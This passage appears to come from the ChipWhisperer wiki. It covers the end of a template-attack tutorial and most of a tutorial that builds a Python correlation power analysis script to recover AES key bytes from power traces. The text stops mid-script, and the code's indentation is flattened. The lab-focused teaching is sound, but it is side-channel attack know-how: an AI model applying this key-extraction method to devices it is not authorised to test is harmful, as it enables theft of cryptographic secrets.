The first step in the attack is to generate the template. Again for generating the template this typically requires access to a system almost identical to the device being attacked. It is assumed that the actual device differs from the device being attacked, but in our example we'll be using the same device.<br />
<br />
<ol style="list-style-type: decimal;"><br />
<li>Open the Analyzer software</li><br />
<li>From the ''File --&gt; Open Project'' option, navigate to the <code>tut_randkey_randplain.cwp</code> file you save previously. Open this file, ensure it is the file corresponding with the '''randomly changing encryption key'''!</li><br />
<li>Open the ''Trace Explorer'' tab and Enable it.</li><br />
<li><p>Change the "Comparison Mode" to "Sum of Absolute Difference", the ''Partition Mode'' to ''HW AES Intermediate'', and select the ''Auto-Save Data to Project'' option:</p><br />
<p>[[File:traceexplorer1.png|image]]</p></li><br />
<li><p>Hit the ''Display'' button, and then select ''All On''. This displays the differences between the various groups of Hamming Weight (HW) values:</p><br />
<p>[[File:traceexplorer2.png|image]]</p></li><br />
<li><p>We now want to figure out the Points of Interest (POI), which we will use for our template. Hit the ''Open POI Table'' and perform the following:</p><br />
<blockquote><ol style="list-style-type: decimal;"><br />
<li>Set the ''Num POI/Subkey'' to 3</li><br />
<li>Set the ''Min Spacing between POI'' to 5</li><br />
<li>Click the ''Recalc POI Values'' button</li><br />
<li>Click the ''Set as POI in Project'' button</li></ol><br />
</blockquote></li></ol><br />
<br />
<blockquote>[[File:traceexplorer3.png|image]]<br />
</blockquote><br />
<ol start="7" style="list-style-type: decimal;"><br />
<li>Disable the Trace Explorer.</li><br />
<li><p>Change the attack module to ''Profiling'':</p><br />
<p>[[File:selectprofiling.png|image]]</p></li><br />
<li><p>Go to the ''Template Generation'' section in the Attack tab, and ensure you select the appropriate trace range (0-999 in this example). Select the ''TraceExplorer Table'' as the POI source, since we had just populated this with a valid POI data. Notice that if you view the analysis script it will list the poi you selected, if not hit the ''Read POI'' button:</p><br />
<p>[[File:templategeneration.png|image]]</p></li><br />
<li>Click the ''Generate Templates'' button. This will dynamically load and run the <code>def generateTemplates(self):</code> function in the scripting window.</li><br />
<li>Save the project file, which will save the location of the template file. We need to copy this information over to our second project, which is the traces we actually plan on attacking.</li><br />
<li>From the ''Project'' menu select the ''Project File Editor (text)'', which gives you access to the raw project file. You will have to hit the ''Reload Editor from Disk'' button, which reads the changes you just saved into this special text editor. For more information on the project file editor see XREF TODO.</li><br />
<li><p>Scroll down until you find a section titled <code>[Template Data 0001 - Templates]</code>. Note the number may change (e.g. 0002, etc), just use the largest number which will be the most recent saved change. Copy this section to a text editor, it will look something like this:</p><br />
<pre>[Template Data 0001 - Templates]<br />
tracestart = 0<br />
traceend = 999<br />
poi = &quot;[38, 30, 2290]&quot;, &quot;[138, 1658, 1650]&quot;, &quot;[2134, 238, 2402]&quot;, &quot;[338, 2618, 2626]&quot;, &quot;[438, 430, 2766]&quot;, &quot;[1806, 538, 1690]&quot;, &quot;[638, 2174, 2462]&quot;, &quot;[738, 2886, 2658]&quot;, &quot;[838, 830, 2282]&quot;, &quot;[938, 1722, 1858]&quot;, &quot;[2290, 1038, 2206]&quot;, &quot;[1138, 2690, 2946]&quot;, &quot;[1238, 1650, 1798]&quot;, &quot;[1338, 1918, 1754]&quot;, &quot;[1438, 2342, 2238]&quot;, &quot;[2774, 1538, 2722]&quot;<br />
partitiontype = PartitionHWIntermediate<br />
filename = avr_keyrand_plainrand_1000traces_data\analysis\templates-PartitionHWIntermediate-0-999.npz</pre></li><br />
</ol><br />
<br />
== Applying the Template ==<br />
<br />
<ol style="list-style-type: decimal;"><br />
<li>From the ''File --&gt; Open Project'' option, navigate to the <code>tut_fixedkey_randplain.cwp</code> file you save previously. Open this file, ensure it is the file corresponding with the '''fixed encryption key'''!</li><br />
<li>Open the project text editor if not already open.</li><br />
<li><p>Append the ''Template Data'' section you copied from the previous project to your project file:</p><br />
<p>[[File:projecteditor_addtemplate.png|image]]</p></li><br />
<li>Use the ''Save Editor to Disk'' button to write these changes (and '''not the Save Project option'''). Note this assumes that both the <code>tut_fixedkey_randplain.cwp</code> and <code>tut_randkey_randplain.cwp</code> were saved in the same directory, as otherwise the reference to the template file will break!</li><br />
<li>Re-open the same project file (e.g. <code>tut_fixedkey_randplain.cwp</code>), this step is needed to ensure the changes you added in are loaded into memory.</li><br />
<li><p>Change the attack module to ''Profiling'':</p><br />
<p>[[File:selectprofiling.png|image]]</p></li><br />
<li><p>Change the ''Reporting Interval'' to 1, since we want to observe what happens on each added trace:</p><br />
<p>[[File:reportinginterval_1.png|image]]</p></li><br />
<li><p>Press the ''Attack'' button. Observe that with only a few traces you are able to determine the encryption key:</p><br />
<p>[[File:attack_working.png|image]]</p></li></ol><br />
<br />
== Links ==<br />
<br />
{{Template:Tutorials}}<br />
[[Category:Tutorials]]</div>Fheubachhttp://wiki.newae.com/index.php?title=Tutorial_B6_Breaking_AES_(Manual_CPA_Attack)&diff=3487Tutorial B6 Breaking AES (Manual CPA Attack)2018-05-01T18:45:43Z<p>Fheubach: </p>
<hr />
<div>This tutorial will demonstrate how to perform a CPA attack using a simple Python script. This will bring you through an entire CPA attack ''without'' using the ChipWhisperer Analyzer program, which will greatly improve your understanding of the actual attack method.<br />
<br />
== The CPA Attack Theory ==<br />
<br />
As a background on the CPA attack, please see the section [[Correlation Power Analysis]]. It's assumed you've read that section and come back to this. Ok, you've done that? Good let's continue.<br />
<br />
Assuming you ''actually'' read that, it should be apparent that there is a few things we need to accomplish:<br />
<br />
# Reading the data, which consists of the analog waveform (trace) and input text sent to the encryption core<br />
# Making the power leakage model, where it takes a known input text along with a guess of the key byte<br />
# Implementing the correlation equation, and then looping through all the traces<br />
# Ranking the output of the correlation equation to determine the most likely key<br />
<br />
== Setting Up the Project ==<br />
<br />
It is assumed you are experienced with Python development, or have at least run a Python program! If you are on Windows you'll probably use IDLE as a code editor, although you can use any code editor you wish.<br />
<br />
Initially, we'll be using Python interactively. This means to just run <code>python</code> at the command prompt, and enter commands into the window. Later we'll move onto writing a simple script which executes these commands.<br />
<br />
Note if you want to use matplotlib, and are running a native Python installation, you may need to install that package. If the <code>import matplotlib</code> command listed in the next section fails, you'll need to install these, which again for Windows you can get from the [http://www.lfd.uci.edu/~gohlke/pythonlibs/#pyparsing Pre-Built Windows Binaries]<br />
<br />
== Exploring the Trace Data ==<br />
<br />
The next step is to read the trace data. If you don't have any data yet, you should follow the steps in [[Tutorial B5 Breaking AES (Straightforward)]] to record some traces. <br />
<br />
You need to find the source trace files, which have a <code>.npy</code> extension. You can follow the path of a <code>.cwp</code> (ChipWhisperer Project) file to find the associated trace <code>.cfg</code> file. The same directory as the <code>.cfg</code> file will have the <code>.npy</code> files. As an example, say that our <code>.cwp</code> file contains this line:<br />
<br />
<pre>[Trace Management]<br />
tracefile0 = default-data-dir\traces\config_2013.11.18-16.40.58_.cfg</pre><br />
<br />
Opening the <code>.cfg</code> file shows the <code>prefix=</code> line, which tells us the name of the data files:<br />
<br />
<pre>[Trace Config]<br />
numTraces = 50<br />
format = native<br />
numPoints = 3000<br />
prefix = 2013.11.18-16.40.58_</pre><br />
This means our trace file is in <code>default-data-dir\traces\2013.11.18-16.40.58_traces.npy</code> and the plaintext is in <code>default-data-dir\traces\2013.11.18-16.40.58_textin.npy</code>.<br />
<br />
Using default installs, this directory will be <code>C:\chipwhisperer\software\chipwhisperer\capture\default-data-dir\traces</code>. Let's assume you've run a capture and have 50 traces of our usual AVR target.<br />
<br />
To read them, first import NumPy to your Python console, and optionally matplotlib (not needed but useful to visualize):<br />
<br />
<pre><br />
>>> import numpy as np<br />
>>> import matplotlib.pyplot as plt</pre><br />
Then use <code>np.load</code> as such (note: the '''r''' infront of the string means you don't need to escape slahes<br />
<br />
<pre><br />
>>> traces = np.load(r'C:chipwhisperersoftwarechipwhisperercapturedefault-data-dirtraces2013.11.18-16.40.58_traces.npy') <br />
>>> pt = np.load(r'C:chipwhisperersoftwarechipwhisperercapturedefault-data-dirtraces2013.11.18-16.40.58_textin.npy')<br />
</pre><br />
You can print, for example, the first plaintext sent to the device:<br />
<br />
<pre>>>> pt[0]<br />
array([ 63, 3, 80, 100, 21, 236, 26, 68, 88, 177, 135, 226, 198, 205, 26, 133], dtype=uint8)</pre><br />
Or check the size of the power traces:<br />
<br />
<pre>>>> np.shape(traces)<br />
(51, 3000)<br />
>>> np.shape(traces[0])<br />
(3000,)</pre><br />
And finally plot a single power trace:<br />
<br />
<pre>>>> plt.plot(traces[0])<br />
[<matplotlib.lines.Line2D object at 0x05EF3CF0>]<br />
>>> plt.show()</pre><br />
After executing <code>plt.show()</code> you should get a window to pop up with the single power trace.<br />
<br />
== Reading the Trace Data in a Script ==<br />
<br />
Enough fooling around. Now let's make a script that loads the trace and tries to step through them. Make a new file called for example <code>simplecpa.py</code>, starting with this simple example:<br />
<br />
<pre>import numpy as np<br />
<br />
traces = np.load(r'C:\chipwhisperer\software\chipwhisperer\capture\default-data-dir\traces\2013.11.18-16.40.58_traces.npy')<br />
pt = np.load(r'C:\chipwhisperer\software\chipwhisperer\capture\default-data-dir\traces\2013.11.18-16.40.58_textin.npy')<br />
<br />
numtraces = np.shape(traces)[0]<br />
numpoint = np.shape(traces)[1]<br />
<br />
#Use less than the maximum traces by setting numtraces to something<br />
#numtraces = 15<br />
<br />
#Set 16 to something lower (like 1) to only go through a single subkey<br />
for bnum in range(0, 16):<br />
for tnum in range(0, numtraces):<br />
print &quot;Subkey %d, trace %d&quot;%(bnum, tnum)</pre><br />
If you run this script, it will generate the following output:<br />
<br />
<pre>Subkey 0, trace 0<br />
Subkey 0, trace 1<br />
Subkey 0, trace 2<br />
Subkey 0, trace 3<br />
Subkey 0, trace 4<br />
Subkey 0, trace 5<br />
Subkey 0, trace 6<br />
Subkey 0, trace 7<br />
Subkey 0, trace 8<br />
Subkey 0, trace 9<br />
Subkey 0, trace 10<br />
... tons more lines ...<br />
Subkey 15, trace 45<br />
Subkey 15, trace 46<br />
Subkey 15, trace 47<br />
Subkey 15, trace 48<br />
Subkey 15, trace 49<br />
Subkey 15, trace 50 </pre><br />
It's looping through a single subkey at a time, then looping through every trace. Let's limit it to break a single subkey. Do this by changing the line <code>for bnum in range(0, 16):</code> to <code>for bnum in range(0, 1):</code>. We'll go back later to breaking the whole thing. That part of the file now looks like:<br />
<br />
<pre>#Set 16 to something lower (like 1) to only go through a single subkey<br />
for bnum in range(0, 1):<br />
for tnum in range(0, numtraces):<br />
print &quot;Subkey %d, trace %d&quot;%(bnum, tnum)</pre><br />
== Performing the Guess ==<br />
<br />
Next, we need to guess every possibility for the subkey. This is done with another loop - we'll first ''remove'' the loop going through each trace, and simply loop through each hypothetical value for each subkey:<br />
<br />
<pre>#Set 16 to something lower (like 1) to only go through a single subkey<br />
for bnum in range(0, 16):<br />
cpaoutput = [0]*256<br />
for kguess in range(0, 256):<br />
print &quot;Subkey %d, hyp = %02x&quot;%(bnum, kguess) </pre><br />
Note if you want to simplify your life, you can guess only keys around the known answer initially. For example if we know the first byte of the key is 0x2B, we can do:<br />
<br />
<pre>for kguess in range(0x26, 0x2F):<br />
print &quot;Subkey %d, hyp = %02x&quot;%(bnum, kguess)</pre><br />
Note that in Python we can specify hex constants directly! Now the system will only be searching from 0x26 - 0x2F for the correct key. Once we have a guess, we need to calculate the intermediate value corresponding to the guess.<br />
<br />
Looking way back to how AES works, remember we are effectively attemping to target the position at the bottom of this figure:<br />
<br />
<blockquote>[[File:Sbox_cpa_detail.png|frame|none|alt=|The AES algorithm involves a number of rounds, this is a detail from the first round of operation. Each input byte is XOR'd with a byte of the (unknown) secret key. This is passed through an S-Box, which is simply a look-up table. The output of this S-Box is what we'll use to 'check' our guessed value of the key.]]<br />
</blockquote><br />
The objective is thus to determine the output of the S-Box, where the S-Box is defined as follows:<br />
<br />
<pre>sbox=(<br />
0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,<br />
0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,<br />
0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,<br />
0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,<br />
0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,<br />
0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,<br />
0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,<br />
0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,<br />
0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,<br />
0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,<br />
0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,<br />
0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,<br />
0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,<br />
0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,<br />
0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,<br />
0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16)</pre><br />
Thus we need to write a function taking a single byte of input, a single byte of the guessed key, and return the output of the S-Box:<br />
<br />
<pre>def intermediate(pt, keyguess):<br />
return sbox[pt ^ keyguess]</pre><br />
Finally, remember we want the ''Hamming Weight'' of the guess. Our assumption is that the system is leaking the Hamming Weight of the output of that S-Box. As a dumb solution, we could first convert every number to binary and count the 1's:<br />
<br />
<pre>>>> bin(0x1F)<br />
'0b11111'<br />
>>> bin(0x1F).count('1')<br />
5</pre><br />
This will ultimately be fairly slow. Instead we make a lookup table using this idea:<br />
<br />
<pre>>>> HW = [bin(n).count(&quot;1&quot;) for n in range(0,256)]<br />
>>> HW<br />
[0, 1, 1, 2, 1, 2, 2, 3, 1, 2, 2, 3, 2, 3, 3, 4,<br />
1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5,<br />
1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5,<br />
2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6,<br />
1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5,<br />
2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6, <br />
2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6, <br />
3, 4, 4, 5, 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7, <br />
1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5, <br />
2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6, <br />
2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6, <br />
3, 4, 4, 5, 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7, <br />
2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6, <br />
3, 4, 4, 5, 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7, <br />
3, 4, 4, 5, 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7, <br />
4, 5, 5, 6, 5, 6, 6, 7, 5, 6, 6, 7, 6, 7, 7, 8]</pre><br />
And finally can create our complete intermediate value and power model functions:<br />
<br />
<pre>HW = [bin(n).count(&quot;1&quot;) for n in range(0,256)]<br />
<br />
sbox=(<br />
0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,<br />
0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,<br />
0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,<br />
0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,<br />
0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,<br />
0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,<br />
0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,<br />
0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,<br />
0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,<br />
0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,<br />
0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,<br />
0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,<br />
0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,<br />
0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,<br />
0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,<br />
0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16)<br />
<br />
def intermediate(pt, keyguess):<br />
return sbox[pt ^ keyguess]</pre><br />
Which we can insert into the guessing routine, such that our complete file now looks like this:<br />
<br />
<pre>import numpy as np<br />
<br />
HW = [bin(n).count(&quot;1&quot;) for n in range(0,256)]<br />
<br />
sbox=(<br />
0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,<br />
0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,<br />
0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,<br />
0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,<br />
0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,<br />
0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,<br />
0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,<br />
0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,<br />
0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,<br />
0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,<br />
0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,<br />
0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,<br />
0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,<br />
0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,<br />
0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,<br />
0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16)<br />
<br />
def intermediate(pt, keyguess):<br />
return sbox[pt ^ keyguess]<br />
<br />
traces = np.load(r'C:\chipwhisperer\software\chipwhisperer\capture\default-data-dir\traces\2013.11.18-16.40.58_traces.npy')<br />
pt = np.load(r'C:\chipwhisperer\software\chipwhisperer\capture\default-data-dir\traces\2013.11.18-16.40.58_textin.npy')<br />
<br />
numtraces = np.shape(traces)[0]<br />
numpoint = np.shape(traces)[1]<br />
<br />
#Use less than the maximum traces by setting numtraces to something<br />
#numtraces = 15<br />
<br />
for bnum in range(0, 16):<br />
cpaoutput = [0]*256<br />
for kguess in range(0, 256):<br />
print &quot;Subkey %d, hyp = %02x&quot;%(bnum, kguess)<br />
<br />
for tnum in range(0, numtraces):<br />
hypint = HW[intermediate(pt[tnum][bnum], kguess)]</pre><br />
<br />
== Performing the Check ==<br />
<br />
Remember the objective is to calculate the following:<br />
<br />
<math>{r_{i,j}} = \frac{{\sum\nolimits_{d = 1}^D {\left[ {\left( {{h_{d,i}} - \overline {{h_i}} } \right)\left( {{t_{d,j}} - \overline {{t_j}} } \right)} \right]} }}{{\sqrt {\sum\nolimits_{d = 1}^D {{{\left( {{h_{d,i}} - \overline {{h_i}} } \right)}^2}} \sum\nolimits_{d = 1}^D {{{\left( {{t_{d,j}} - \overline {{t_j}} } \right)}^2}} } }}</math><br />
<br />
Where the following is the association between variable names in the equation and our python script:<br />
<br />
{|<br />
! Equation<br />
! Python Variable<br />
|-<br />
| d<br />
| tnum<br />
|-<br />
| i<br />
| kguess<br />
|-<br />
| j<br />
| j index trace point, e.g.: traces[tnum][j]<br />
|-<br />
| h<br />
| hypint<br />
|-<br />
| t<br />
| traces<br />
|}<br />
<br />
It can be noticed there is effectively three sums, all sums are done over all traces. For this initial implementation we'll be explicitly calculating some of these sums, although it's faster to use NumPy to calculate across large arrays. We'll convert the equation into this format:<br />
<br />
<math>{r_{i,j}} = \frac{sumnum}{\sqrt{sumden1 \times sumden2}}</math><br />
<br />
Let's go ahead an implement this in Python. To begin with, we initialize those three sums to zero:<br />
<br />
<pre>#Initialize arrays &amp; variables to zero<br />
sumnum = np.zeros(numpoint)<br />
sumden1 = np.zeros(numpoint)<br />
sumden2 = np.zeros(numpoint)</pre><br />
Next, let's save those hypothetical values for ''each'' associated plaintext with the current guess. Remember we are going to compare every guess to ''all'' traces. We modify our loop-over-every-trace syntax from before to append these values to a new list:<br />
<br />
<pre>hyp = np.zeros(numtraces)<br />
for tnum in range(0, numtraces):<br />
hyp[tnum] = HW[intermediate(pt[tnum][bnum], kguess)]</pre><br />
Next, we need to calculate the mean of the hypothesis, <math>\overline {{h_i}}</math>. This is done via NumPy:<br />
<br />
<pre>#Mean of hypothesis<br />
meanh = np.mean(hyp, dtype=np.float64)</pre><br />
Similiarly for the mean of all traces, <math>\overline {{t_j}}</math>. Remember we want the output to be a '''1 x numpoint''' size array:<br />
<br />
<pre>#Mean of all points in trace<br />
meant = np.mean(traces, axis=0, dtype=np.float64)</pre><br />
Next, let's again consider the three sums to be implemented:<br />
<br />
<math>sumnum = {\sum\nolimits_{d = 1}^D {\left[ {\left( {{h_{d,i}} - \overline {{h_i}} } \right)\left( {{t_{d,j}} - \overline {{t_j}} } \right)} \right]} }</math><br />
<br />
<math>sumdem1 = \sum\nolimits_{d = 1}^D {{{\left( {{h_{d,i}} - \overline {{h_i}} } \right)}^2}}</math><br />
<br />
<math>sumdem2 = \sum\nolimits_{d = 1}^D {{{\left( {{t_{d,j}} - \overline {{t_j}} } \right)}^2}}</math><br />
<br />
Note there is some common terms in all three of these, along with a common summation index. We can thus implement them as follows:<br />
<br />
<pre>#For each trace, do the following<br />
for tnum in range(numtraces):<br />
hdiff = (hyp[tnum] - meanh)<br />
tdiff = traces[tnum,:] - meant<br />
<br />
sumnum = sumnum + (hdiff*tdiff)<br />
sumden1 = sumden1 + hdiff*hdiff <br />
sumden2 = sumden2 + tdiff*tdiff</pre><br />
The size of sumnum, sumden1, and sumden2 are all '''1 x numpoints''', meaning an output is generated for each point of the input. Note each of these is calculated independantly, thus we simply avoid looping through every point by using the vector notation of NumPy. Finally, we calculate the single output vector &amp; save it as a specific key guess:<br />
<br />
<pre>cpaoutput[kguess] = sumnum / np.sqrt( sumden1 * sumden2 )</pre><br />
Tying it all together, we end up with the following:<br />
<br />
<pre>import numpy as np<br />
<br />
HW = [bin(n).count(&quot;1&quot;) for n in range(0,256)]<br />
<br />
sbox=(<br />
0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,<br />
0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,<br />
0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,<br />
0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,<br />
0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,<br />
0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,<br />
0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,<br />
0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,<br />
0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,<br />
0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,<br />
0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,<br />
0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,<br />
0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,<br />
0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,<br />
0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,<br />
0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16)<br />
<br />
def intermediate(pt, keyguess):<br />
return sbox[pt ^ keyguess]<br />
<br />
traces = np.load(r'C:\chipwhisperer\software\chipwhisperer\capture\default-data-dir\traces\2013.11.18-16.40.58_traces.npy')<br />
pt = np.load(r'C:\chipwhisperer\software\chipwhisperer\capture\default-data-dir\traces\2013.11.18-16.40.58_textin.npy')<br />
<br />
numtraces = np.shape(traces)[0]-1<br />
numpoint = np.shape(traces)[1]<br />
<br />
#Use less than the maximum traces by setting numtraces to something<br />
#numtraces = 15<br />
<br />
bestguess = [0]*16<br />
#Set 16 to something lower (like 1) to only go through a single subkey &amp; save time!<br />
for bnum in range(0, 16):<br />
cpaoutput = [0]*256<br />
maxcpa = [0]*256<br />
for kguess in range(0, 256):<br />
print &quot;Subkey %2d, hyp = %02x: &quot;%(bnum, kguess),<br />
<br />
<br />
#Initialize arrays &amp; variables to zero<br />
sumnum = np.zeros(numpoint)<br />
sumden1 = np.zeros(numpoint)<br />
sumden2 = np.zeros(numpoint)<br />
<br />
hyp = np.zeros(numtraces)<br />
for tnum in range(0, numtraces):<br />
